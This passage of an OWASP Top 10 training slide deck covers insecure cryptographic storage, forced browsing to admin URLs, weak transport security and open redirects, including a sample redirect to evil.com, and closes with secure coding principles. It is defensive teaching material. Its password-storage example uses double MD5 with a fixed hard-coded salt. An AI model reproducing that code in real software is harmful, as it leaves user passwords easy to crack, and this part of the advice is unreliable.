Encrypt all sensitive data in transit and rest. ( Use PHP MCRYPT)• Encrypt Stored user passwords• Encrypt Stored Credit Card Numbers• Encrypt Session Data

Ensure appropriate strong standard algorithms and strong keys are used, and keymanagement is in place.

Ensure offsite backups are encrypted, but the keys are managed and backed upseparately.

Ensure passwords are hashed with a strong standard algorithm and an appropriatesalt is used.

Ensure all keys and passwords are protected from unauthorized access.

Page 100: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insecure Cryptographic Storage?

C.1. Storing Passwords

<?php/* $password contains the password.*/ $salt = 'SHIFLETT';$password_hash = md5($salt . md5($password . $salt));/* Store password hash. */?>

Compare hashes, to validate

<?php $salt = 'SHIFLETT';$password_hash = md5($salt . md5($_POST['password'] . $salt));/* Compare password hashes. */?>

Page 101: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insecure Cryptographic Storage?

C.3. Storing Credit Card Numbers

<?php$crypt = new crypt();

$crypt->cleartext = '1234567890123456';$crypt->generate_iv();$crypt->encrypt();

$ciphertext = $crypt->ciphertext;$iv = $crypt->iv;

$string = base64_encode($iv . $ciphertext);?>

To retrieve reverse the process.

Page 102: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insecure Cryptographic Storage?

C.4. Encrypting sensitive data in session

global $_sess_db;$access = time();$crypt = new crypt();$crypt->cleartext = $data;$crypt->generate_iv();$crypt->encrypt();$ciphertext = $crypt->ciphertext;$iv = $crypt->iv;

$data = base64_encode($iv . $ciphertext);

To validate reverse the process.

Page 103: Cert-In Training Program for Government, PSUs and Critical ...

A8-Failure to Restrict URL Access

Page 104: Cert-In Training Program for Government, PSUs and Critical ...

A8-Failure to Restrict URL Access

Many web applications check URL access rights before rendering protected linksand buttons.

However, applications need to perform similar access control checks each timethese pages are accessed, or attackers will be able to forge URLs to access thesehidden pages anyway.

Attackers can use this weakness to access and perform unauthorized operations byaccessing those URLs directly.

http://www.bank.com/admin.php

Evaluating privileges on the client but not on the server

Page 105: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario

The attacker simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the “admin” page.

http://example.com/app/getappInfo

http://example.com/app/admin

If the attacker is not authenticated, and access to either page is granted, thenunauthorized access was allowed. If an authenticated, non-admin, user is allowed toaccess the “admin” page, this is a flaw, and may lead the attacker to more improperlyprotected admin pages.

Such flaws are frequently introduced when links and buttons are simply not displayedto unauthorized users, but the application fails to protect the pages they target.

Page 106: Cert-In Training Program for Government, PSUs and Critical ...

Failure to Restrict URL Access Illustrated

• Attacker notices the URL indicates his role

/user/getAccounts

• He modifies it to another directory (role)

/admin/getAccounts, or

/manager/getAccounts

• Attacker views more accounts than just their own

https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

Example Scenario

Page 107: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 108: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Failure to Restrict URL Access?

Strong authentication and authorization on each page.

The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.

The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.

The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.

If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

Page 109: Cert-In Training Program for Government, PSUs and Critical ...

A9-Insufficient Transport Layer Protection

Page 110: Cert-In Training Program for Government, PSUs and Critical ...

A9-Insufficient Transport Layer Protection

Applications frequently fail to authenticate, encrypt, and protect theconfidentiality and integrity of sensitive network traffic.

When they do, they sometimes support weak algorithms, use expired or invalidcertificates, or do not use them correctly.

Page 111: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario

Scenario #1:

A site simply doesn’t use SSL for all pages that require authentication. Attacker simplymonitors network traffic (like an open wireless or their neighborhood cable modemnetwork), and observes an authenticated victim’s session cookie. Attacker then replaysthis cookie and takes over the user’s session.

Scenario #2: A site has improperly configured SSL certificate which causes browser warnings for itsusers. Users have to accept such warnings and continue, in order to use the site. Thiscauses users to get accustomed to such warnings.

Phishing attack against the site’s customers lures them to a lookalike site whichdoesn’t have a valid certificate, which generates similar browser warnings. Sincevictims are accustomed to such warnings, they proceed on and use the phishing site,giving away passwords or other private data.

Page 112: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 113: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Insufficient Transport Layer Protection?

Require SSL for all sensitive pages. Non-SSL requests to these pages should beredirected to the SSL page.

Set the ‘secure’ flag on all sensitive cookies.

Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant)algorithms.

Ensure your certificate is valid, not expired, not revoked, and matches all domainsused by the site.

Backend and other connections should also use SSL or other encryption technologies.

Page 114: Cert-In Training Program for Government, PSUs and Critical ...

A10-Unvalidated Redirects and Forwards

Page 115: Cert-In Training Program for Government, PSUs and Critical ...

A10-Unvalidated Redirects and Forwards

Web applications frequently redirect and forward users to other pages andwebsites, and use untrusted data to determine the destination pages.

Without proper validation, attackers can redirect victims to phishing or malwaresites, or use forwards to access unauthorized pages.

Page 116: Cert-In Training Program for Government, PSUs and Critical ...

Example Scenario

Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.php?url=evil.com

Scenario #2:The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forward the attacker to an administrative function that she would not normally be able to access. http://www.example.com/boring.php?fwd=admin.php

Page 117: Cert-In Training Program for Government, PSUs and Critical ...

Demo!

Page 118: Cert-In Training Program for Government, PSUs and Critical ...

How Do I Prevent Unvalidated Redirects and Forwards?

Safe use of redirects and forwards can be done in a number of ways:

• Simply avoid using redirects and forwards. • If used, don’t involve user parameters in calculating the destination. This can usually be done. • If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.

It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.

Page 119: Cert-In Training Program for Government, PSUs and Critical ...

Secure Coding Principles

Page 120: Cert-In Training Program for Government, PSUs and Critical ...

Secure Coding Principles

• Minimize attack surface area

Every feature that is added to an application adds a certain amount of risk to the overall application. The aim for secure development is to reduce the overall risk by reducing the attack surface area.

• Principle of Defense in Depth

The principle of defense in depth suggests that where one control would be reasonable, more controls that approach risks in different fashions are better. Controls, when used in depth, can make severe vulnerabilities extraordinarily difficult to exploit and thus unlikely to occur.

• Principle of least privilege

The principle of least privilege recommends that accounts have the least amount of privilege required to perform their business processes. This encompasses user rights, resource permissions such as CPU limits, memory, network, and file system permissions

Page 121: Cert-In Training Program for Government, PSUs and Critical ...

Secure Coding Principles

Avoid Security by ObscuritySecurity through obscurity is a weak security control, and nearly always failswhen it is the only control. This is not to say that keeping secrets is a bad idea, itsimply means that the security of key systems should not be reliant upon keepingdetails hidden.

Keep Security SimpleAttack surface area and simplicity go hand in hand. Certain software engineeringfads prefer overly complex approaches to what would otherwise be relativelystraightforward and simple code.Developers should avoid the use of double negatives and complex architectureswhen a simpler approach would be faster and simpler.

Establish secure defaultsThere are many ways to deliver an “out of the box” experience for users.However, by default, the experience should be secure, and it should be up to theuser to reduce their security – if they are allowed.

Page 122: Cert-In Training Program for Government, PSUs and Critical ...

Secure Coding Principles

Don’t trust services or infrastructureMany organizations utilize the processing capabilities of third party partners, whomore than likely have differing security policies and posture than you. It isunlikely that you can influence or control any external third party, whether theyare home users or major suppliers or partners.Therefore, implicit trust of externally run systems is not warranted. All externalsystems should be treated in a similar fashion.

Fix Security Issues CorrectlyOnce a security issue has been identified, it is important to develop a test for it,and to understand the root cause of the issue. When design patterns are used, itis likely that the security issue is widespread amongst all code bases, sodeveloping the right fix without introducing regressions is essential.

Fail SecurelyApplications regularly fail to process transactions for many reasons. How they failcan determine if an application is secure or not.

Page 123: Cert-In Training Program for Government, PSUs and Critical ...

• Develop Secure Code– Follow the best practices in OWASP’s Guide to Building Secure Web Applications

• http://www.owasp.org/index.php/Guide

• http://code.google.com/p/owasp-development-guide/wiki/WebAppSecDesignGuide_D1

– Use OWASP’s Application Security Verification Standard as a guide to what an application needs to be secure

• http://www.owasp.org/index.php/ASVS

– Use standard security components that are a fit for your organization• Use OWASP’s ESAPI as a basis for your standard components

• http://www.owasp.org/index.php/ESAPI

• Periodically Review Your Applications For Security– Have an expert team review your applications

– Review your applications yourselves following OWASP Guidelines• OWASP Code Review Guide:

http://www.owasp.org/index.php/Code_Review_Guide

• OWASP Testing Guide: http://www.owasp.org/index.php/Testing_Guide

Summary: How do you address these problems?

Page 124: Cert-In Training Program for Government, PSUs and Critical ...

Questions?

Page 126: Cert-In Training Program for Government, PSUs and Critical ...

About Speaker – Nilkanth Patil

NILKANTH S. PATIL, CEH

Senior Consultant – Secure Development Lifecycle Services

Aujas Networks Pvt Ltd.

Email : [email protected]

Ref: http://in.linkedin.com/in/nilkanthpatil

Page 127: Cert-In Training Program for Government, PSUs and Critical ...

About Aujas

An IDG Company

$ 3 Billion Group

Largest IT media company

Global PresenceOffices in

India, UAE, UK & USA

More than 80 Customers

Deep Expertise 60 + Professionals

Professionals from leading technology &

consulting firms

Page 128: Cert-In Training Program for Government, PSUs and Critical ...

About Aujas - Global Footprint

Sri Lanka

India

UAE

USA

Saudi Arabia

Philippines

Mauritius

Sudan

Ethiopia

Over 120 Projects successfully delivered across the globe (12 countries & 4 continents)

JapanSwitzerland

Kenya

Page 129: Cert-In Training Program for Government, PSUs and Critical ...

Thanks !